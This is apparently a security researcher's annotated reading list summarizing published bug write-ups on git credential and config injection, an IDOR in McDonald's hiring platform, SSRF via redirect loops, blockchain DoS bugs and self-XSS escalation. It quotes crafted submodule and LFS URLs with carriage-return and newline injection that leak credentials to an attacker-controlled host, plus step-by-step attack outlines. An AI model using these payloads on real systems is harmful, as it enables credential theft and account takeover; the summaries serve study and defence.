Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Would you like an IDOR with that? Leaking 64 million McDonald’s job applications- 1690

Ian Carroll & Sam Curry    Reference →Posted 8 Months Ago
  • McHire is a chatbot recruitment platform used by most of McDonald's franchisees. Employees chat with a bot named Olivia to collect information, conduct personality tests and more that is owned by Paradox.
  • While going through the interview process, they got some disturbing pro-company questions but didn't see anything interesting. Of note, it seemed like Olivia had a solid set of predefined inputs and wouldn't use anything else.
  • On the signin page, they noticed a small icon for Paradox Team Members. They tried the username and password combination of 123456-123456 and this logged them in as an admin on a test restaurant. Crazy but no real impact.
  • Doing authorization without authentication is super error-prone; think of how people can check in for a flight on an airline without ever creating an account, as an example. Sam and Ian attempted to apply for a job when they noticed the API PUT /api/lead/cem-xhr that fetched data. This was likely proxying information to a Candidate Experience Manager (CEM) via an XHR request. This contained a lead_id parameter.
  • They simply tried decrementing the ID and got another applicant's data. This contained previous chat conversations, names, emails, addresses, and phone numbers. etc. Probably the craziest of all, an Auth token for the consumer UI was also sent back, allowing you to effectively become the user.
  • With no bug bounty contact they reached out to people at Paradox.ai and they prompted remediated the vulnerabilty. Sam does a lot of great research on things without bug bounty programs. Although security is getting better in some places, it's clearly getting worse in others.

GitHub Source Code Data Ingester- 1689

gitingest    Reference →Posted 8 Months Ago
  • When using LLMs, quickly grabbing the code you want from the repository is important. Notably, it needs to be delimited, have a file structure and only get the requested files. gitingest does this very well and very quickly. I use this a lot when using LLMs.

Story Network Postmortem- 1688

Story Foundation    Reference →Posted 8 Months Ago
  • Story Protocol received two denial-of-service reports that would take down the chain via panics. Both of these slipped through the cracks of audit competitions.
  • The first vulnerability was caused by a faulty patch of a previously known issue. During the Cantina competition, a vulnerability was reported in the upstream fork codebase of Omni Network. Execution payloads being given to the execution client would be processed by Story but not by GETH due to some weird unmarshalling issues. For instance, adding the same field multiple times in JSON could bloat the payload and be considered valid.
  • The goal was to refactor the JSON into a stricter format like protobuf but it was too late to make such a big change before launch. To fix this vulnerability, Story decided to put a hard limit on block size at 4MB. If the block size was bigger than this, the code would panic. By sending 128KB per message and sending this over and over again, the block could be valid at 4MB and lead to a node crash.
  • For the patch, there's a quick patch and a long term patch. For the quick patch, they edited CometBFT to limit the block size to 20MB and edited the prepare proposal code not to propose blocks larger than a threshold. From rigorous dynamic testing, they determined that block sizes larger than 20MB could not be created. In the long term, they're moving to using protobuf and restricting extra fields.
  • The second vulnerability was a logic bug in handling multiple delegation withdrawals that probably requires more digging into the codebase to fully understand. When unstaking from a validator or rewarding a delegator, the tokens are burnt from the consensus layer's balances. This is to prevent double accounting. If there are unclaimed rewards, they are automatically sent to the delegator.
  • The function ProcessUnstakeWithdrawals iterates over a list of unbonded entries. This loop fails to deal with the situation of multiple withdrawal requests coming from the same delegator. Via some funky state handling, this led to a panic from too many coins attempting to be burned.
  • They decided that the loop was too complicated, since it was handling too many cases at once to be cheaper computationally. They changed the code to have two loops to simplify the code.
  • The takeaways are interesting to me from the development team:
    • Have more time between audits and launches. This is pretty obvious but hard to do in practice.
    • Increase test coverage. Another classic thing.
    • Try to handle more panics within the codebase to not fail. Sometimes, you want stuff to fail but not all the time.
    • Reduce code complexity and maximize readability. A little bit of performance gain is probably not worth a big hack.
  • My personal takeaway as a bug bounty hunter is that DoS bugs are way easier to find as most things. If these are paid out as criticals, then it seems like it's the best bang for your buck.

Git Arbitrary Configuration Injection (CVE-2023-29007)- 1687

Andre Baptista    Reference →Posted 8 Months Ago
  • The authors of this post use git submodules internally. They noticed that long submodule URLs led to crashes on a GitHub repository page. They weren't sure why so they started fuzzing it. Eventualy, they noticed that deinitializing submodules sometimes creates new sections in .git/config. But why?
  • When reading configuration files in groups of bytes of 1024, it assumed that the beginning of a read is the beginning of a line. However, with super long lines this isn't the case. So, providing a line with 1024 characters and then a [ for a section header would make the parser believe it was looking at a new section when it really wasn't!
  • By providing a malicious URL that is controllable by an attacker, they could smuggle commands, such as bash commands, into a .git/config using this. They found this was possible via a section was being removed or renamed.
  • The most interesting part to me was how they found the bug. It wasn't a crash in the git client - it was a side effect. Then, after some investigation, they discovered the reason why this was happening. Once you see the bug and the idea, it's straightforward, but it's not an obvious place to look for bugs.

Clone2Leak: Your Git Credentials Belong To Us- 1686

RyotaK - Flatt Security    Reference →Posted 8 Months Ago
  • Git implements a helper protocol called Git Credential Protocol to retrieve credentials from a process. There are several implementations of this depending on the platform, such as Windows and MacOS.
  • The Git Credential Protocol separates parameters using newlines (\n). For instance, sending protocol=https\nhost=github.com\n would return protocol=https\nhost=github.com\nusername=USERNAME\npassword=PASSWORD. Git forbids newline and NULL byte characters in any of these names. But, is this sufficient?
  • GitHub Desktop has a feature where a user can supply credentials to a Git client automatically. The code uses a regular expression in multiline mode to parse a URL passed in. Since \r is a splitter for regex and is allowed by the protocol, this creates a problem. The same attack could be launched on the .NET version of this product as well.
  • A malicious repository with a crafted submodule URL can cause a git credential leak by adding more information to the request than anticipated via including carriage returns - http://%0dprotocol=https%0dhost=github.com%0d@localhost:13337/. This will break into the following:
    protocol=http
    host=localhost
    username=\rprotocol=https\rhost=github.com\r
    
  • git LFS is an extension of git for large files. Although core git rejects newlines, they are not rejected by LFS. Using the configuration file .lfsconfig, newline injection into the protocol is possible - this issue required an alternative path to hit. url = http://%0Ahost=github.com%0Aprotocol=https%0A@localhost:13337/ would turn into the following:
    capability[]=authtype
    capability[]=state
    protocol=http
    host=localhost
    username=
    host=github.com
    protocol=https
    
  • The next two are simple access control bugs IMO. The GitHub CLI will leak the access token to arbitrary hosts that are making requests. The tokenForHost function will always return true for non-GitHub owned instances. There are several cases where this is sent, such as GitHub enterprises, and CodeSpaces environment variables are set.
  • The credential helper on GitHub Codespaces was a very simple bash script that always returns the token to Git. Although the host parameter is set to github.com, this isn't actually validated by git to match the currently requested host. So, Codespaces will send the token to the domain that hosts the repos, even if not GitHub.com.
  • Overall, a good series of vulnerabilities with string parsing complexities. Great research!

CVE-2025-48384: Breaking git with a carriage return and cloning RCE- 1685

dgl    Reference →Posted 8 Months Ago
  • There are two types of "next line" characters in use: carriage return and newline. On original typewriters, carriage return moved the cursor to the left of the margin while the newline (line feed) went down a single line. This made the characters distinct in many ways. Unix tried to just use a newline (\n) while Windows required a CRLF still.
  • .gitmodules is a configuration file in a Git repo that controls submodules. When parsing, it attempts to support both cases described above - Unix \n and \r\n. It should be noted that besides reading these files, git can also write to them directly.
  • When writing a configuration file, git will "quote" the value if it contains a double quote, space, semicolon, or hashtag. Upon writing this information to another file, a final carriage return would effectively be skipped.
  • The actual vulnerability is really a parser difference between the reading and the writing. In other words, it creates a potential time-of-check versus time-of-use security issue. Here's the path:
    1. Create a submodule file that contains the path "foo^M" where ^M is the line feed. The file location is validated at this point.
    2. When this is written to .git/modules/foo/config the content is written as foo^M without the quotes.
    3. When the configuration file is read later, it will parse this as foo without the ^M. This is because the parser will strip out the final CR at the end of a line.
    4. Practically, this means that writing to a file path now has a different meaning than intended. This could lead to symbolic links going to unintended locations on the file system, escaping the cloned directory's sandbox.
    5. The PoC writes to .git/hooks to force it to write arbitrary code and open upon finishing the clone. Pretty neat!
  • The analysis at the end is pretty interesting. Carriage returns led to another bug in the credential helper protocol of git that led to credential leakage. Another one around configuration parsing was found in 2023. These differences in components of git are similar to CRLF injection in HTTP.
  • Overall, a good post that demonstrates a severe vulnerability in Git. I appreciate the clear permission boundaries of git and would like to see more research into it.

Google Logo Ligature Bug- 1684

Jeffrey Yasskin    Reference →Posted 8 Months Ago
  • Fonts can include ligatures - special case specific combinations of letters. For instance, an "f" and an "i" combine into "fi" nicely. The bug reporter noticed that Google Sans, used in the domain of the Chrome browser, includes many long ligatures that could be used for domain spoofing.
  • glogoligatureoogle gets mapped to google for instance. That's pretty terrifying! The bug report triager found lots of other cases where this happens as well besides this one.
  • The triager decided to rate this as a high because of the spoofing effects of the bug. For this, they got 10K and a 5K bonus for the uniqueness of the finding. To fix it, they disabled the usage of hostnames containing ligatures.
  • Super crazy finding! UI vulnerabilities like this are pretty rare so this was fun to see.

Finding Fractures: An Intro to Differential Fuzzing in Rust - 1683

Anthony and Nick Lang - Asymmetric Research     Reference →Posted 8 Months Ago
  • The blog post introduces a concept known as differential fuzzing. The idea is to generate input, process it through multiple pipelines and see if the output is the same. In blockchain protocols that must have the same data, such as consensus client protocols, this is a great way to find bugs. Asymmetric Research uses this for many things, like fuzzing the Solana validator client differences Agave and Firedancer.
  • The target for this demonstration is around JSON parsing. Their chosen fuzzer is AFL. The majority of fuzzing is the same as with a regular AFL fuzzer - input generation and such. The main difference is that we have two JSON parse calls to make. If the results are different, then this results in a "crash"!
  • While running the fuzzer, they ran into several bugs but they were unimportant for security. For instance, 222E2322 was an out of range number that was rejected for one parser but fine by another. Since this doesn't have security consequences, they patched out to accept this case as valid. This happened several times. It should be noted that using a fuzzer is an iterative process - it's not just letting it run once and forgetting about it.
  • Eventually, they get a legitimate parsing difference. serde_json gets a parsing error while json-rust parsers it. After looking at a hexdump, it becomes clear - the vertical control tab (^K) is causing the issue. json-rust has a goal of being less strict than the other JSON parser, since this can cause friction at times.
  • This bug is likely enough to cause a consensus divergence, which is pretty interesting. Many other parsing issues between implementations, like described by the Bishop Fox post, can lead to major security consequences by returning difference values.
  • There are many ways to make this fuzzer better. Using structured input on JSON data, parallelization and checks for equivalence on the data. Overall, a great post discussing automatic bug finding via differential fuzzing.

Novel SSRF Technique Involving HTTP Redirect Loops- 1682

Shubham Shah - Searchlight Cyber    Reference →Posted 8 Months Ago
  • Blind SSRF bugs are difficult to exploit. Just because you have a Server-Side Request Forgery bug, doesn't mean that the data is being returned back to you properly. The article explains a technique that the author used to turn a Invalid JSON exception with no data to get the full response data. Notably, they wanted to get the AWS metadata information.
  • They tested a lot of the handling of responses in the application by sending the request to their website via the SSRF and seeing how it reacted to different things. 300s, 400s, 500s, etc. They noticed that a 500 error returned all of the data. Of course, making a request to the AWS cloud metadata service will respond with a 200 so this wouldn't work for returning the data. Their goal was to trigger a 500 error but get the response from the server.
  • Since this was black box, they had no idea what to do next. The application was following redirects for 3xx status codes so they were curious what would happen if they reached the maximum amount of redirects. This led to a NetworkException and wasn't very useful. So, they decided to do some fuzzing around the types of 3xx status codes and their handling.
  • Their fuzzing was simply using each 3xx status code once and incrementing to the next one. To their surprise, on the application returned the full chain of redirects and the entire response to the metadata request from the final redirect. But, wait, why!?
  • They made some guesses on why this may have worked. The application was happy to follow a few redirects. However, if it followed more than 5 redirects not handled by libcurl then their was another error state. Surprisingly, this technique has worked in several situations for the author of the post.
  • I'm always amazed by how successful people are with this blackbox fuzzing to understand applications. For every instance of a blog post like this, there are likely several hundred cases that were not exploitable though. Interesting read!

Make Self-XSS Great Again- 1681

Slonsor    Reference →Posted 8 Months Ago
  • Self-XSS is when you can trigger cross site scripting (XSS) but only on yourself. This post goes into a few ways to make self-XSS exploitable, with the final one being the most interesting.
  • The main topic of discussion is credentialless iframes. A credentialness iframe is an iframe that is loaded inside of a different context than those on the same origin. Since iframes on the same origin is able to edit other frames on other origins, it's able to edit the logged in iFrame still.
  • If the page contains login CSRF then the usage of credentialless iframes becomes useful.
    1. Create a login CSRF attack on a victim and get the victim to visit the website.
    2. On the same page with the login CSRF to a page that contains two iFrames: one with the credentialless iFrame and another with the regular user login.
    3. Use the XSS on the credentialless iFrame to write into the context of the other iFrame. This leads to many security issues.
  • The second idea is using clickjacking to trick a user to login to an account instead. This works when CSRF login is not possible. Both of the previous techniques require iframes to be allowed on a page though.
  • The coolest example is the final one, by far. In 2025 the function fetchLater function was added. This will send requests after some time, even if the tab is closed. This means it may be possible to do the following:
    1. Trigger self-XSS on an account you control.
    2. Call fetchLater for a fetch requests that uses cookies for a sensitive API.
    3. Logout of the account.
    4. User logs into the account later.
    5. The fetchLater request runs in the context of the users session. This is an easy account takeover from here!
  • On the Critical Thinking podcast, the host Justin claims that the closing at Chrome will shoot off all the requests, making it not good for . To get around this, an attacker can stall the HTTP response on a server that they control with maximum length timeouts in Chrome and redirects. Eventually, the redirect can go to a malicious endpoint on the regular server from the context of the Chrome request. I think that the redirect will lead to a resubmission of the cookies, such as the new cookies of the logged in user. Pretty neat!